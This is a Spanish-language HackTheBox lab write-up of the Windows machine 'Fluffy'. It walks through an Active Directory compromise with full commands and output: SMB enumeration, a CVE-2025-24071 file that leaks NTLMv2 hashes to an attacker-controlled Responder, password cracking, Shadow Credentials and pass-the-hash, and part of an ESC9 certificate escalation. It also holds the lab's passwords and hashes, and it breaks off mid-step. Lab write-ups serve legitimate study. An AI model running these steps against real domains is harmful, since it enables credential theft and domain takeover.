Fluffy – HackTheBox Link to heading
- OS: Windows
- Difficulty / Dificultad: Easy / Fácil
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“Fluffy” es una máquina de dificultad Fácil de la plataforma HackTheBox
enfocada en Active Directory
. Empezamos con credenciales dadas (asumiendo un escenario donde ya se han conseguido credenciales). El usuario dado puede escribir archivos sobre una carpeta compartida por servicio SMB
. El sistema es vulnerable a CVE-2025-24071, una vulnerabilidad la cual nos permite obtener el hash de un usuario cuando éste abre un archivo malicioso. Dado que tenemos permisos para escribir y poner archivos en la carpeta SMB
compartida, ponemos un archivo malicioso allí y obtenemos el hash para un nuevo usuario; un hash el cual somos capaces de crackear y pivotear así a un nuevo usuario. Este nuevo usuario tiene permisos GenericAll
sobre un grupo, lo cual nos permite agregarnos a nosotros mismos a este grupo; además, los miembros de este grupo pueden performar un ataque Shadow Credentials
sobre unas cuentas de servicio del dominio y obtener así su hash NTLM. Encontramos que una de las cuentas de servicio comprometidas tiene permisos GenericWrite
sobre otra cuenta que puede inscribir certificados en el servicio AD CS
; estas condiciones nos permiten performar un attaque/escalada ESC9
y extraer el hash NTLM del usuario Administrador para finalmente impersonarlo; comprometiendo así el sistema.
User / Usuario Link to heading
Windows
de la vida real, empezaremos con credenciales dadas para la máquina Fluffy las cuales son: j.fleischman
/ J0elTHEM4n1990!
Empezamos con un rápido y silencioso escaneo con Nmap
buscando por puertos TCP
abiertos:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.129.226.137
Encontramos múltiples puertos abiertos. Entre ellos tenemos: 53
Domain Name System
(DNS
), 88
Kerberos
, 135
Microsoft RPC
, 389
LDAP
, 445
Server Message Block
(SMB
), 5985
WinRM
(WinRM
); entre otros. Además, aplicamos algunos scripts de reconocimiento sobre estos puertos con la flag -sVC
de Nmap
:
❯ sudo nmap -sVC -p53,88,139,389,445,464,593,636,3268,3269,5985,9389,49667,49677,49678,49685,49698,49711,49745 10.129.226.137
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-25 17:38 -04
Nmap scan report for 10.129.226.137
Host is up (0.50s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-26 04:38:11Z)
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-26T04:39:48+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-26T04:39:48+00:00; +7h00m02s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-26T04:39:48+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-26T04:39:48+00:00; +7h00m02s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49677/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49678/tcp open msrpc Microsoft Windows RPC
49685/tcp open msrpc Microsoft Windows RPC
49698/tcp open msrpc Microsoft Windows RPC
49711/tcp open msrpc Microsoft Windows RPC
49745/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-05-26T04:39:12
|_ start_date: N/A
|_clock-skew: mean: 7h00m01s, deviation: 0s, median: 7h00m01s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.68 seconds
Basados en los puertos abiertos (Kerberos
, Microsoft RPC
, LDAP
, SMB
) podemos suponer justificadamente que estamos ante un entorno Active Directory
(AD
).
Podemos usar la herramienta NetExec
contra sl servicio SMB
para solicitar información del dominio:
❯ nxc smb 10.129.226.137
SMB 10.129.226.137 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
Tenemos una máquina DC01
, un dominio fluffy.htb
y, por ende, un FQDN DC01.fluffy.htb
.
Agregamos estos nombres y dominios, junto con la IP de la máquina víctima, a nuestro archivo /etc/hosts
en nuestra máquina de atacantes:
❯ echo '10.129.226.137 DC01 DC01.fluffy.htb fluffy.htb' | sudo tee -a /etc/hosts
Dado que empezamos con credenciales dadas para el usuario j.fleischman
, revisamos si este usuario tiene recursos interesantes los cuales puedan ser accessibles por el servicio SMB
usando la herramienta NetExec
:
❯ nxc smb 10.129.226.137 -u 'j.fleischman' -p 'J0elTHEM4n1990!' --shares
SMB 10.129.226.137 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB 10.129.226.137 445 DC01 [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
SMB 10.129.226.137 445 DC01 [*] Enumerated shares
SMB 10.129.226.137 445 DC01 Share Permissions Remark
SMB 10.129.226.137 445 DC01 ----- ----------- ------
SMB 10.129.226.137 445 DC01 ADMIN$ Remote Admin
SMB 10.129.226.137 445 DC01 C$ Default share
SMB 10.129.226.137 445 DC01 IPC$ READ Remote IPC
SMB 10.129.226.137 445 DC01 IT READ,WRITE
SMB 10.129.226.137 445 DC01 NETLOGON READ Logon server share
SMB 10.129.226.137 445 DC01 SYSVOL READ Logon server share
Tenemos un recurso compartido (que no es por defecto) llamado IT
sobre el cual tenemos tantos permisos de lectura (READ
) como escritura (WRITE
).
Revisamos el contenido de este recurso compartido usando nuevmanete NetExec
:
❯ nxc smb 10.129.226.137 -u 'j.fleischman' -p 'J0elTHEM4n1990!' --spider 'IT' --pattern .
SMB 10.129.226.137 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB 10.129.226.137 445 DC01 [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
SMB 10.129.226.137 445 DC01 [*] Started spidering
SMB 10.129.226.137 445 DC01 [*] Spidering .
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/. [dir]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/.. [dir]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/Everything-1.4.1.1026.x64 [dir]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/Everything-1.4.1.1026.x64.zip [lastm:'2025-05-16 10:51' size:1827464]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/KeePass-2.58 [dir]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/KeePass-2.58.zip [lastm:'2025-05-16 10:51' size:3225346]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/Upgrade_Notice.pdf [lastm:'2025-05-17 10:31' size:169963]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/Everything-1.4.1.1026.x64/. [dir]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/Everything-1.4.1.1026.x64/.. [dir]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/Everything-1.4.1.1026.x64/everything.exe [lastm:'2025-05-16 10:51' size:2265104]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/Everything-1.4.1.1026.x64/Everything.lng [lastm:'2025-05-16 10:51' size:958342]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/KeePass-2.58/. [dir]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/KeePass-2.58/.. [dir]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/KeePass-2.58/KeePass.chm [lastm:'2025-05-16 10:51' size:768478]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/KeePass-2.58/KeePass.exe [lastm:'2025-05-16 10:51' size:3305824]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/KeePass-2.58/KeePass.exe.config [lastm:'2025-05-16 10:51' size:763]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/KeePass-2.58/KeePass.XmlSerializers.dll [lastm:'2025-05-16 10:51' size:463264]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/KeePass-2.58/KeePassLibC32.dll [lastm:'2025-05-16 10:51' size:609136]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/KeePass-2.58/KeePassLibC64.dll [lastm:'2025-05-16 10:51' size:785776]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/KeePass-2.58/License.txt [lastm:'2025-05-16 10:51' size:18710]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/KeePass-2.58/ShInstUtil.exe [lastm:'2025-05-16 10:51' size:97128]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/KeePass-2.58/Languages/. [dir]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/KeePass-2.58/Languages/.. [dir]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/KeePass-2.58/Plugins/. [dir]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/KeePass-2.58/Plugins/.. [dir]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/KeePass-2.58/XSL/. [dir]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/KeePass-2.58/XSL/.. [dir]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/KeePass-2.58/XSL/KDBX_Common.xsl [lastm:'2025-05-16 10:51' size:2732]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/KeePass-2.58/XSL/KDBX_DetailsFull_HTML.xsl [lastm:'2025-05-16 10:51' size:3556]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/KeePass-2.58/XSL/KDBX_DetailsLight_HTML.xsl [lastm:'2025-05-16 10:51' size:3098]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/KeePass-2.58/XSL/KDBX_PasswordsOnly_TXT.xsl [lastm:'2025-05-16 10:51' size:919]
SMB 10.129.226.137 445 DC01 //10.129.226.137/IT/KeePass-2.58/XSL/KDBX_Tabular_HTML.xsl [lastm:'2025-05-16 10:51' size:3100]
SMB 10.129.226.137 445 DC01 [*] Done spidering (Completed in 16.31744623184204)
Tenemos muchos archivos. Entre ellos tenemos un archivo PDF
llamado Upgrade_Notice.pdf
.
Descargamos este archivo usando NetExec
:
❯ nxc smb 10.129.226.137 -u 'j.fleischman' -p 'J0elTHEM4n1990!' --share 'IT' --get-file 'Upgrade_Notice.pdf' 'Upgrade_Notice.pdf'
SMB 10.129.226.137 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB 10.129.226.137 445 DC01 [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
SMB 10.129.226.137 445 DC01 [*] Copying "Upgrade_Notice.pdf" to "Upgrade_Notice.pdf"
SMB 10.129.226.137 445 DC01 [+] File "Upgrade_Notice.pdf" was downloaded to "Upgrade_Notice.pdf"
Abriendo este archivo PDF
, éste habla de algunas vulnerabilidades de alto impacto detectadas en el sistema:
También proveen una lista de vulnerabilidades con sus respectivas etiquetas:
Una de las vulnerabilidades mencionadas es CVE-2025-24071 (la segunda de la lista). Ésta le permite a un atacante crear un archivo malicioso el cual le permite realizar un spoofing over sobre una red para un usuario no autenticado. En español, que podemos hacer que un usuario envie una petición a una red, exponiendo así su hash NTLMv2
. Buscando por un Proof of Concept
(PoC, o “prueba de concepto”) para esta vulnerabilidad, hallamos este repositorio. Lo clonamos y ejecutamos:
❯ git clone https://github.com/ThemeHackers/CVE-2025-24071.git -q
❯ cd CVE-2025-24071
❯ python3 exploit.py
✗ Error: No arguments provided
usage: exploit.py [-h] [-f FILE_NAME] [-i IP_ADDRESS] [-afv]
Create an exploit ZIP file or show affected versions
options:
-h, --help show this help message and exit
-f FILE_NAME, --file-name FILE_NAME
Name of the library file (without extension)
-i IP_ADDRESS, --ip-address IP_ADDRESS
IP address (e.g., 192.168.1.111)
-afv, --affected-versions
Display affected versions
Este exploit realiza los siguiente: Crea un archivo comprimido (archivo .zip
file) el cual contiene un archivo malicioso .library-ms
, cuyo nombre es especificado con la flag -f
. Cuando este archivo es abierto, éste enviará información a la dirección IP definida con la flag -i
flag. Es decir, debemos usar nuestra IP de atacantes.
Ejecutamos este exploit basados en la información recolectada:
❯ python3 exploit.py -f 'lib' -i 10.10.16.80
______ ____ ____ _______ ___ ___ ___ _____ ___ _ _ ___ ______ __
/ |\ \ / / | ____| |__ \ / _ \ |__ \ | ____| |__ \ | || | / _ \ |____ | /_ |
| ,----' \ \/ / | |__ ______ ) | | | | | ) | | |__ ______ ) | | || |_ | | | | / / | |
| | \ / | __| |______/ / | | | | / / |___ \ |______/ / |__ _| | | | | / / | |
| `----. \ / | |____ / /_ | |_| | / /_ ___) | / /_ | | | |_| | / / | |
\______| \__/ |_______| |____| \___/ |____| |____/ |____| |_| \___/ /_/ |_|
Windows File Explorer Spoofing Vulnerability (CVE-2025-24071)
by ThemeHackers
Creating exploit with filename: lib.library-ms
Target IP: 10.10.16.80
Generating library file...
✓ Library file created successfully
Creating ZIP archive...
✓ ZIP file created successfully
Cleaning up temporary files...
✓ Cleanup completed
Process completed successfully!
Output file: exploit.zip
Run this file on the victim machine and you will see the effects of the vulnerability such as using ftp smb to send files etc.
Donde 10.10.16.80
es la IP de nuestra máquina de atacantes. Esto debería de haber generado un archivo exploit.zip
en nuestro directorio actual de trabajo.
Podemos revisar superficialmente el contenido comprimido del archivo exploit.zip
con 7z
:
❯ 7z l exploit.zip
<SNIP>
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2025-05-25 18:18:46 ..... 364 187 lib.library-ms
------------------- ----- ------------ ------------ ------------------------
2025-05-25 18:18:46 364 187 1 files
Tenemos un archivo lib.library-ms
malicioso dentro de éste.
Por tanto, extraemos el archivo malicioso del archivo comprimido .zip
:
❯ unzip exploit.zip
Archive: exploit.zip
inflating: lib.library-ms
Ahora bien, dado que realizaremos un spoofing a la red, usamos una herramienta como Responder
para recibir los datos que nos puedan llegar sobre la interfaz de red (tun0
para la VPN de HackTheBox):
❯ sudo responder -I tun0
Luego, subimos el archivo malicioso lib.library-ms
al recurso compartido de la máquina víctima usando NetExec
:
❯ nxc smb 10.129.226.137 -u 'j.fleischman' -p 'J0elTHEM4n1990!' --share 'IT' --put-file 'lib.library-ms' 'lib.library-ms'
SMB 10.129.226.137 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB 10.129.226.137 445 DC01 [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
SMB 10.129.226.137 445 DC01 [*] Copying lib.library-ms to lib.library-ms
SMB 10.129.226.137 445 DC01 [+] Created file lib.library-ms on \\IT\lib.library-ms
Pasados algunos segundos obtenemos un hash NTLMv2
en nuestro listener con Responder
:
❯ sudo responder -I tun0
<SNIP>
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.129.226.137
[SMB] NTLMv2-SSP Username : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash : p.agila::FLUFFY:0b5e0e5ee8343668:0B9F3CFFB04A0D73E7125D3A53CAA8DF:0101000000000000805013EB9ECDDB01042800BC1C1AFEED0000000002000800580039005900410001001E00570049004E002D00360033004C0039004D0054004300500053004400570004003400570049004E002D00360033004C0039004D005400430050005300440057002E0058003900590041002E004C004F00430041004C000300140058003900590041002E004C004F00430041004C000500140058003900590041002E004C004F00430041004C0007000800805013EB9ECDDB01060004000200000008003000300000000000000001000000002000008E254D416F29E5296AACDAA9FC35B7D17416AFC18A1CCBAA05FD68F28EBA3A070A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00380030000000000000000000
Obtenemos un hash para el usuario p.aguila
.
Guardamos el hash obtenido en un archivo en nuestra máquina de atacantes:
❯ echo -n 'p.agila::FLUFFY:0b5e0e5ee8343668:0B9F3CFFB04A0D73E7125D3A53CAA8DF:0101000000000000805013EB9ECDDB01042800BC1C1AFEED0000000002000800580039005900410001001E00570049004E002D00360033004C0039004D0054004300500053004400570004003400570049004E002D00360033004C0039004D005400430050005300440057002E0058003900590041002E004C004F00430041004C000300140058003900590041002E004C004F00430041004C000500140058003900590041002E004C004F00430041004C0007000800805013EB9ECDDB01060004000200000008003000300000000000000001000000002000008E254D416F29E5296AACDAA9FC35B7D17416AFC18A1CCBAA05FD68F28EBA3A070A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00380030000000000000000000' > p_agila_hash
Luego, intentamos un Brute Force Password Cracking
(crackear la contraseña por fuerza bruta) con la herramienta JohnTheRipper
(john
) usando el diccionario de contraseñas rockyou.txt
:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt p_agila_hash --format=netntlmv2
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
prometheusx-303 (p.agila)
1g 0:00:00:02 DONE (2025-05-25 18:30) 0.4608g/s 2082Kp/s 2082Kc/s 2082KC/s proquis..profesion
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
Obtenemos una contraseña para el usuario p.agila
: prometheusx-303
.
Revisamos si estas credenciales funcionan para el servicio SMB
:
❯ nxc smb 10.129.226.137 -u 'p.agila' -p 'prometheusx-303'
SMB 10.129.226.137 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB 10.129.226.137 445 DC01 [+] fluffy.htb\p.agila:prometheusx-303
Funcionan. Pero, aparentemente, no tenemos acceso por el servicio WinRM
como este nuevo usuario:
❯ nxc winrm 10.129.226.137 -u 'p.agila' -p 'prometheusx-303'
WINRM 10.129.226.137 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb)
WINRM 10.129.226.137 5985 DC01 [-] fluffy.htb\p.agila:prometheusx-303
En este punto podemos usar Bloodhound
para mapear permisos en el dominio. Para este propósito utilizamos la herramienta bloodhound-python
junto con las credenciales del usuario p.agila
:
❯ bloodhound-python -c ALL -u 'p.agila' -p 'prometheusx-303' -d fluffy.htb -ns 10.129.226.137 --zip
INFO: Found AD domain: fluffy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Found 10 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.fluffy.htb
INFO: Done in 01M 12S
INFO: Compressing output into 20250525184456_bloodhound.zip
Esto debería de generar un archivo .zip
en el directorio actual de trabajo.
Subimos el archivo .zip
a Bloodhound
(en mi caso utilizaré la Community Edition
, o CE
). Una vez subido, buscamos por el usuario p.agila
y clickeamos en Outbound Object Control
en la parte inferior derecha. Haciendo esto podemos ver los permisos de este usuario sobre otros objetos, viendo así:
Somos parte del grupo Service Account Managers
. Los miembros de este grupo tienen el permiso GenericAll
sobre el grupo Service Accounts
.
Esto quiere decir que podemos agregarnos a nosotros mismos (actualmente somos el usuario p.agila
) como miembros del grupo Service Accounts
. Para este propósito podemos utilizar la herramienta bloodyAD
:
❯ bloodyAD -d fluffy.htb --host 10.129.226.137 -u 'p.agila' -p 'prometheusx-303' add groupMember 'Service Accounts' 'p.agila'
[+] p.agila added to Service Accounts
Service Accounts
. Por lo que puede que necesitemos volver a ejecutar el comando de arriba (para agregar al usuario p.agila
al grupo Service Accounts
) cada cierto tiempo.Ahora el usuario p.agila
es miembro del grupo Service Accounts
, por lo que podemos ver qué permisos tienen los miembros del grupo Service Accounts
. Buscando por este grupo y clickeando nuevamente en Outbound Object Control
podemos ver que tenemos permisos GenericWrite
sobre 3 cuentas (aparentemente cuentas de servicio por su nombre): ca_svc
, winrm_svc
y ldap_svc
.
Dado que tenemos permisos GenericWrite
sobre estas cuentas, podríamos tratar de performar un ataque Shadow Credentials
para extraer los hashes NT
de éstas. Podemos realizar este ataque de manera fácil usando la herramienta Certipy
:
❯ certipy shadow auto -username 'p.agila'@fluffy.htb -p 'prometheusx-303' -account 'ca_svc'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '27a58fc6-bb5b-64c2-74cc-77993a6595bf'
[*] Adding Key Credential with device ID '27a58fc6-bb5b-64c2-74cc-77993a6595bf' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '27a58fc6-bb5b-64c2-74cc-77993a6595bf' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Using principal: ca_svc@fluffy.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': None
Obtenemos el error KRB_AP_ERR_SKEW(Clock skew too great)
.
Podemos arreglar fácilmente este error sincronizando la hora de nuestra máquina de atacantes con la hora de la máquina víctima. Para este propósito podemos utilizar las herramientas faketime
y ntpdate
. Podemos instalar ambas ejecutando en una terminal sudo apt install faketime ntpdate -y
. Adicionalmente, dado que estamos atacando a 3 cuentas (ca_svc
, winrm_svc
and ldap_svc
) con el mismo comando, podemos utilizar un oneliner de Bash
para realizar los ataques de una sola vez:
❯ for targetUser in ca_svc winrm_svc ldap_svc; do faketime "$(ntpdate -q fluffy.htb | cut -d ' ' -f 1,2)" certipy shadow auto -username 'p.agila'@fluffy.htb -p 'prometheusx-303' -account $targetUser; done
Certipy v4.8.2 - by Oliver Lyak (ly4k)
<SNIP>
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': ca0f4f9e9eb8a092addf53bb03fc98c8
<SNIP>
[*] Successfully restored the old Key Credentials for 'winrm_svc'
[*] NT hash for 'winrm_svc': 33bd09dcd697600edf6b3a7af4875767
<SNIP>
[*] Successfully restored the old Key Credentials for 'ldap_svc'
[*] NT hash for 'ldap_svc': 22151d74ba3de931a352cba1f9393a37
Si buscamos por el grupo Remote Management Users
(usuarios que se pueden conectar a la máquina víctima a través del servicio WinRM
) en Bloodhound
encontramos que el usuario winrm_svc
es parte de este grupo. Dado que tenemos el hash NT
de este usuario, podemos conectarnos al servicio WinRM
remotamente utilizando la herramienta evil-winrm
y ejecutando un Pass The Hash
(PtH
):
❯ evil-winrm -i fluffy.htb -u 'winrm_svc' -H '33bd09dcd697600edf6b3a7af4875767'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\winrm_svc\Documents>
Podemos extraer la flag de usuario en el Desktop del usuario winrm_svc
.
NT Authority/System - Administrator Link to heading
Dado que también tenemos un usuario ca_svc
, usualmente CA
se usa para abreviar Certificate Authority
. Por tanto, este usuario podría estar relacionado a Active Directory Certificate Services
(AD CS
). Dado que tenemos su hash, podríamos ver si es que tenemos los permisos para escalar privilegios abusando de un certificado mal configurado. Podemos utilizar la herramienta Certipy
para solicitar certificados utilizando el hash de la cuenta ca_svc
, junto con faketime
para evadir problemas con el servicio de Kerberos
:
❯ faketime "$(ntpdate -q fluffy.htb | cut -d ' ' -f 1,2)" certipy find -u 'ca_svc'@fluffy.htb -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.129.226.137 -vulnerable
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'fluffy-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'fluffy-DC01-CA' via CSRA: Could not connect: timed out
[*] Trying to get CA configuration for 'fluffy-DC01-CA' via RRP
[*] Got CA configuration for 'fluffy-DC01-CA'
[*] Saved BloodHound data to '20250526023153_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20250526023153_Certipy.txt'
[*] Saved JSON output to '20250526023153_Certipy.json'
Aparentemente no tenemos certificados mal configurados:
❯ cat 20250526023153_Certipy.txt | grep -E 'CA Name|Template Name|ESC'
CA Name : fluffy-DC01-CA
Ahora bien, hace ya algún tiempo, para la máquina Certified, aprendimos cómo realizar la escalada ESC9
(Escalation 9
) para AD CS
. Teníamos 2 condiciones para abusar de aquella escalada:
- Controlar a un usuario el cual puede inscribir certificados (
ca_svc
debería de ser capaz de hacerlo). - Controlar un usuario el cual tenga permisos de escritura, permisos tales como
GenericWrite
, sobre la cuenta que puede inscribir certificados.
En nuestro caso, p.agila
(el usuario impersonado que hemos agregado al grupo Services Accounts
con bloodyAD
) tiene permisos GenericWrite
sobre la cuenta ca_svc
(el usuario que, asumimos, puede inscribir certificados). Este blog explica cómo realizar la escalada de manera más detallada para aquella persona que esté interesada.
Primero, necesitamos actualizar el User Principal Name
(UPN
) a un usuario el cual querramos impersonar. En nuestro caso queremos impersonar al usuario Administrator
. Para este propósito utilizamos Certipy
junto con faketime
:
❯ faketime "$(ntpdate -q fluffy.htb | cut -d ' ' -f 1,2)" certipy account update -username 'p.agila'@fluffy.htb -p 'prometheusx-303' -user 'ca_svc' -upn 'Administrator@fluffy.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_svc':
userPrincipalName : Administrator@fluffy.htb
[*] Successfully updated 'ca_svc'
Ahora necesitamos los nombres de los certificados en la máquina víctima. Podemos solicitar todos los certificados disponibles en la máquina víctima y leer algunos de ellos:
❯ faketime "$(ntpdate -q fluffy.htb | cut -d ' ' -f 1,2)" certipy find -username 'ca_svc'@fluffy.htb -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.129.226.137
<SNIP>
[*] Saved text output to '20250526022820_Certipy.txt'
[*] Saved JSON output to '20250526022820_Certipy.json'
❯ cat 20250526022820_Certipy.txt | grep -E 'CA Name|Template Name|ESC'
CA Name : fluffy-DC01-CA
<SNIP>
Template Name : UserSignature
Template Name : User
Tenemos bastantes. En mi caso utilizaré el template User
dado que es uno estándar y es uno de los que siempre vale la pena intentar. Además, el nombre del CA
es fluffy-DC01-CA
; este dato lo necesitaremos más tarde.
Luego, como el usuario que puede enrolar certificados (ca_svc
) el cual tiene su UPN
modificado, podemos solicitar el template User
, definiendo en la flag -ca
el valor previamente hallado (fluffy-DC01-CA
):
❯ faketime "$(ntpdate -q fluffy.htb | cut -d ' ' -f 1,2)" certipy req -u 'ca_svc'@fluffy.htb -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8' -ca fluffy-DC01-CA -template User
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 16
[*] Got certificate with UPN 'Administrator@fluffy.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
Esto debería de haber generado un archivo .pfx
, el cual es un archivo de certificado que utilizaremos luego.
Siguiente, revertimos los cambios hechos al usuario que podía inscribir certificados (ca_svc
). Para esto usamos nuevamente el usuario que tenía permisos GenericWrite
(p.agila
siendo miembro del grupo Services Accounts
) sobre el usuario que podeía inscribir certificados (ca_svc
). Restauramos el UPN
a su usuario/valor original:
❯ faketime "$(ntpdate -q fluffy.htb | cut -d ' ' -f 1,2)" certipy account update -u 'p.agila'@fluffy.htb -p 'prometheusx-303' -user ca_svc -upn 'ca_svc@fluffy.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_svc':
